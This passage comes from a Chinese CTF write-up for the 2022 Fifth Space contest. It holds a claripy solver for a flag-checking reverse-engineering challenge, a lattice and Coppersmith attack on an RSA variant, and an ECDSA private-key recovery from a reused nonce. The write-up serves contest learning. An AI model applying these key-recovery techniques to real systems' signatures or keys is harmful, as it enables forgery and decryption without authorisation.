158645 * flag[15]- 61925 * flag[3]+ 67755 * flag[20]- 52014431);v5 = abs(-281 * *flag+ 10712 * flag[19]+ 14584 * flag[4]+ -167168 * flag[13]+ 308120 * flag[7]- 233003 * flag[8]+ 114047 * flag[14]+ 330767 * flag[10]- 71246 * flag[6]- 259485 * flag[2]+ 374645 * flag[21]- 116397 * flag[3]+ 64115 * flag[20]+ 281339 * flag[9]+ 321916 * flag[15]- 272240 * flag[12]- 135149 * flag[16]- 288340 * flag[18]+ 71833 * flag[11]- 233821 * flag[1]- 223297 * flag[17]+ 141256 * flag[5]+ 17267952);return v24+ v25+ v23+ v22+ v21+ v20+ v19+ v18+ v17+ v16+ v15+ v14+ v13+ v12+ v11+ v10+ v9+ v8+ v7+ v3+ v4+ v5 == 0;}大概逻辑其实就是根据 config 里的数据去调用对应的函数。<br>最终调用验证方程。<br>用 claripy 解出方程后，再逆置换就能得到 flag 了import claripysbox = [0xA8, 0xC4, 0x13, 0xDF, 0x63, 0x5F, 0x4E, 0x6B, 0x12, 0xD6, 0x28, 0xBF, 0x40, 0x11,0x64, 0x5A, 0x71, 0xDD, 0xD4, 0x35, 0xD5, 0x0F, 0x50, 0x9D, 0xCF, 0x7B, 0xEB, 0x0C, 0x3B,0x6F, 0xA0, 0x5C, 0x5D, 0x90, 0xF5, 0x4B, 0xFF, 0x31, 0xB7, 0x14, 0xF9, 0xAF, 0xD3, 0xEE,0x69, 0x36, 0xD7, 0xF3, 0xEF, 0x65, 0x05, 0x3F, 0x99, 0x49, 0x57, 0x2A, 0xEA, 0xB9, 0xB3,0x8C, 0x7D, 0xFB, 0x1C, 0x80, 0xF1, 0xDC, 0xDA, 0x93, 0x7C, 0x62, 0xA2, 0xA9, 0x58, 0xC5,0xA1, 0x0B, 0x5E, 0x09, 0x34, 0xA4, 0x22, 0x78, 0x68, 0x70, 0x6E, 0x54, 0x6D, 0x2F, 0x46,0xE1, 0xA6, 0xF2, 0x29, 0x0E, 0x21, 0xFC, 0x15, 0x9F, 0x59, 0xB0, 0x18, 0x08, 0x95, 0x1F,0x77, 0xD8, 0x67, 0x16, 0x20, 0x81, 0xF4, 0x60, 0x51, 0xB8, 0x7A, 0xCB, 0x3D, 0x7E, 0xA5,0xE9, 0xD2, 0xFA, 0x74, 0x91, 0x1A, 0x8F, 0x19, 0x3C, 0x83, 0x8B, 0xC0, 0x37, 0x73, 0x8E,0x8A, 0x07, 0x30, 0xE8, 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0xF4, 0x46, 0x6B, 0x95, 0x36, 0x1B, 0xC6, 0xBE, 0x34, 0x2B, 0x4D, 0x25, 0x62, 0xD2,0xE3, 0x29, 0xE6, 0x08, 0x4E, 0x71, 0x4C, 0xDA, 0xEC, 0x41, 0xDC, 0xC3, 0x51, 0x4A, 0xC8,0x6C, 0x66, 0xEE, 0x86, 0xEB, 0xF8, 0x0B, 0xCD, 0xD6, 0x68, 0x10, 0x85, 0x14, 0x28, 0x7A,0x60, 0x2D, 0xCB, 0xED, 0x52, 0x67, 0x84, 0x38, 0x0F, 0x89, 0x11, 0x91, 0x23, 0xBF, 0xAE,0xBD, 0xB2, 0x1F, 0x7F, 0x99, 0x79, 0x65, 0x21, 0x1D, 0x73, 0x8E, 0x45, 0xA8, 0xF7, 0xC5,0x6A, 0x35, 0x57, 0x32, 0x8B, 0x47, 0xC7, 0x48, 0xB8, 0x43, 0x8F, 0x98, 0xC4, 0xFA, 0xDD,0x76, 0x0C, 0x05, 0xFF, 0xD9, 0xC1, 0xB0, 0x97, 0xD5, 0x16, 0xFD, 0xD1, 0xF3, 0x9C, 0x64,0xB5, 0x07, 0xA4, 0x2E, 0x5E, 0x12, 0x75, 0xFE, 0x44, 0xF6, 0x1E, 0x8C, 0x80, 0xA3, 0x6D,0xE5, 0x90, 0xB3, 0xE0, 0x3D, 0xCA, 0xEA, 0xA5, 0xC9, 0xCE, 0xA1, 0xEF, 0x53, 0xFB, 0xF1,0x50, 0x5A, 0xE9, 0x31, 0x9F, 0x3E, 0x63, 0x9A, 0x3F, 0x87, 0x3A, 0xDF, 0x81, 0x40, 0xA7,0x4B]inv_sbox = [0]*0x100def do_subs(x):for i in [25, 21, 16, 27 , 4, 10, 23, 7]:x = sbox[i*0x100+x]return xdef gen_inv_sbox():input_data = list(range(0x100))for j in range(0x100):input_data[j] = do_subs(input_data[j])print(input_data)for i in range(0x100):inv_sbox[i] = input_data.index(i)gen_inv_sbox()flag = [claripy.BVS('', 32) for i in range(22)]solve = claripy.Solver()for i in range(len(flag)):solve.add(flag[i] >= 0)solve.add(flag[i] < 0x100)solve.add(159947*flag[0]-17274276==0)solve.add(4294891102*flag[1]-288728*flag[0]+36973368==0)solve.add(-247146*flag[1]-291401*flag[0]-166371*flag[2]+75709167==0)solve.add(-1741*flag[1]+218084*flag[3]+280814*flag[0]-149372*flag[2]-33947928==0)solve.add(174323*flag[3]+136024*flag[2]-141923*flag[1]-301049*flag[4]+323059*flag[0]-53238195==0)solve.add(-12269*flag[3]+286713*flag[1]-78320*flag[0]+301362*flag[2]+269836*flag[5]-255324*flag[4]-99312448==0)solve.add(-103798*flag[2]+201146*flag[5]-285406*flag[3]-188094*flag[4]-104025*flag[0]-50098*flag[1]-109789*flag[6]+50727897==0)solve.add(117443*flag[7]+275692*flag[3]+349275*flag[1]-381943*flag[2]+332376*flag[4]-269146*flag[5]+222994*flag[6]-267344*flag[0]+9817748==0)solve.add(19156*flag[6]+-281586*flag[7]-168850*flag[0]+363716*flag[3]-32886*flag[1]+44299*flag[4]+170590*flag[8]+81061*flag[5]+201865*flag[2]-32987442==0)solve.add(22459*flag[6]+-80349*flag[1]+239015*flag[5]-42367*flag[9]-113712*flag[7]-146568*flag[2]+241696*flag[3]+232212*flag[0]-162511*flag[8]+61621*flag[4]-41031017==0)solve.add(-1754*flag[0]+128062*flag[7]-329492*flag[3]-167316*flag[2]-178991*flag[4]+186377*flag[10]+307270*flag[6]-328477*flag[8]+248665*flag[1]+374863*flag[9]+373711*flag[5]-86829517==0)solve.add(11843*flag[5]+17087*flag[3]-35818*flag[0]-182330*flag[7]-354816*flag[4]-126036*flag[2]+114656*flag[8]-90442*flag[9]+330888*flag[11]+78226*flag[10]-260641*flag[1]+105414*flag[6]+63250156==0)solve.add(7469*flag[9]+6283*flag[11]+-87345*flag[2]+248111*flag[5]+213581*flag[4]+89194*flag[8]+36305*flag[6]+98667*flag[1]+300755*flag[12]+191415*flag[7]+350540*flag[0]+359565*flag[10]-185365*flag[3]-165783260==0)solve.add(8209*flag[8]+131781*flag[1]+152898*flag[0]+40158*flag[11]-86271*flag[12]-105755*flag[6]+264037*flag[3]-130948*flag[10]-243572*flag[7]-48159*flag[2]-269443*flag[9]-376534*flag[5]-67954*flag[4]-119669*flag[13]+117580744==0)solve.add(-3429*flag[6]+102230*flag[5]+126967*flag[10]-344174*flag[8]-225911*flag[11]+118364*flag[14]-72044*flag[1]+280519*flag[0]-241789*flag[2]-274918*flag[9]-91055*flag[12]-122403*flag[3]+118907*flag[7]-34240*flag[13]+240524*flag[4]+35507568==0)solve.add(-24137*flag[9]+28203*flag[13]+150213*flag[1]+311204*flag[0]-94750*flag[7]+130029*flag[2]-305057*flag[14]+176246*flag[5]-256662*flag[8]-331010*flag[12]-301118*flag[4]-309379*flag[10]+187867*flag[3]-102250*flag[11]-340412*flag[15]+144084*flag[6]+39635710==0)solve.add(-27445*flag[12]+-289483*flag[10]-164045*flag[16]-218276*flag[1]+183266*flag[3]-311967*flag[8]-55127*flag[14]-211824*flag[13]-375628*flag[9]-201931*flag[0]-324618*flag[4]+52026*flag[6]+93926*flag[5]-105199*flag[7]-254102*flag[15]-159881*flag[11]+378091*flag[2]+106013500==0)solve.add(27619 * flag[4]+ 9873 * flag[1]+ -23276 * flag[8]+ -196254 * flag[9]+ 181235 * flag[0]+ 150865 * flag[16]- 148807 * flag[14]- 272020 * flag[17]- 346803 * flag[2]- (flag[3] | (flag[3] << 16 == 0) == 0)+ 132879 * flag[10]+ 239833 * flag[6]- 151023 * flag[11]+ 224631 * flag[12]+ 294607 * flag[5]- 362447 * flag[7]- 110250 * flag[15]+ 153229 * flag[13]+ 56953741 == 0)solve.add(-1159*flag[1]+6659*flag[6]+-25875*flag[7]+80743*flag[10]+38124*flag[9]+40844*flag[13]-259165*flag[12]+340584*flag[16]+107346*flag[2]-124400*flag[8]-34846*flag[11]-338119*flag[17]-220860*flag[5]+167374*flag[3]+71134*flag[15]-143594*flag[14]-115172*flag[4]-104789*flag[0]+108066*flag[18]+50659353==0)solve.add(-26438*flag[19]+14055*flag[10]+31477*flag[12]+-179950*flag[4]+79775*flag[17]+70516*flag[5]+330549*flag[2]+169852*flag[11]+51486*flag[7]+123944*flag[13]-370154*flag[14]-132851*flag[18]+237187*flag[3]-89341*flag[9]-256083*flag[1]+317327*flag[0]+42009*flag[15]+336122*flag[6]+128554*flag[8]-205903*flag[16]-112255597==0)solve.add(30250*flag[5]+127076*flag[16]-218938*flag[0]+162996*flag[14]+141792*flag[12]-197967*flag[9]-247332*flag[4]-286218*flag[7]-168508*flag[18]+300020*flag[2]-46255*flag[10]-78960*flag[19]+213181*flag[6]-329333*flag[13]+126938*flag[8]-266759*flag[11]+182266*flag[17]-41677*flag[1]+158645*flag[15]-61925*flag[3]+67755*flag[20]-52014431==0)solve.add(-281*flag[0]+10712*flag[19]+14584*flag[4]+-167168*flag[13]+308120*flag[7]-233003*flag[8]+114047*flag[14]+330767*flag[10]-71246*flag[6]-259485*flag[2]+374645*flag[21]-116397*flag[3]+64115*flag[20]+281339*flag[9]+321916*flag[15]-272240*flag[12]-135149*flag[16]-288340*flag[18]+71833*flag[11]-233821*flag[1]-223297*flag[17]+141256*flag[5]+17267952==0)def test1(x):a = bytearray(len(x))for i in range(len(x)):a[i] = inv_sbox[x[i]]return bytes(a)def test2(x):a = bytearray(len(x))for i in range(len(x)):a[i] = do_subs(x[i])return bytes(a)for x in solve.batch_eval(flag, 4):x = bytes(x)print(test1(x))flag: flag{HM_l1c3nc3_0k!!!}四、Crypto
1.5_vgcd
K * v = t v.T * K.T = t.T 用第一组t1搞LLL得到一个K.T， 然后v.T = solve_left(K.T,t.T) 接着在v.T里面遍历，爆破r，取gcd，根据长度是素性得到pp，然乎copper搞一下，解rsa得到flag。
with open("output7.txt") as f:<br> data = f.read().split("\n")<br><br>n = eval(data[0])<br>c = eval(data[1])<br>t1 = eval(data[2])<br>t2 = eval(data[3])<br><br>M = Matrix(t1)<br>K = M.LLL()[-3:]<br><br>s = K.solve_left(M[:3])<br>for ss in s:<br>    a = abs(ss[0])<br>    b = abs(ss[2])<br>    for i in range(2^6):<br>        for j in range(2^6):<br>            if gcd(a-i,b-j) > 2^10:<br>                print(gcd(a-i,b-j))<br><br>pp = 313246472203572238616195801879608898722966109482769416302463071823547244571165975167479<br><br>eta = 288<br>gamma = 512<br>P.<x> = PolynomialRing(Zmod(n))<br>f = x+pp*2^(gamma-eta)<br>r = int(f.small_roots(X = 2^(gamma-eta), beta = 0.4)[0])<br><br>p = f(r)<br><br>from Crypto.Util.number import *<br>long_to_bytes(pow(c,int(pow(0x10001,-1,p-1)),int(p)))<br></x>2.5_wb
#!/usr/bin/env python<br># coding: utf-8<br># In[1]:<br>from ecdsa import ecdsa as ec <br># In[2]:<br>r1 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE<br># In[3]:<br>r2 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE<br># In[4]:<br>s1 = 0x77FB1A7C7FEA54A2A6C7E7535C28868C10549B831411F7A8EBB9F6DE1B4ADDF6<br># In[5]:<br>s2 = 0x31213DACD2339525C292FC69F8F828D23A3CA73567BACD8EA2ECE8BF653E97F6<br># In[6]:<br>h1 = 0<br># In[7]:<br>h2 = 0x1000000000000000000000000000000000000000000000000000000000000000<br># In[11]:<br>g = ec.generator_256<br>n = g.order()<br># In[12]:<br>n<br># In[13]:<br>N = 115792089210356248762697446949407573529996955224135760342422259061068512044369<br># In[14]:<br>import gmpy2<br># In[15]:<br>k=((h1-h2)*gmpy2.invert((s1-s2),n))%n<br># In[16]:<br>k<br># In[17]:<br>d=((s1*k-h1)*gmpy2.invert(r1,n))%n<br># In[18]:<br>d<br># In[19]:<br>import libnum<br># In[20]:<br>libnum.n2s(int(2761328357323929781063385491249486142671766712847109466352079855419392))Original: https://blog.csdn.net/m0_64910183/article/details/126989981
Author: 渗透测试中心
Title: 2022年第五空间网络安全大赛WriteUp
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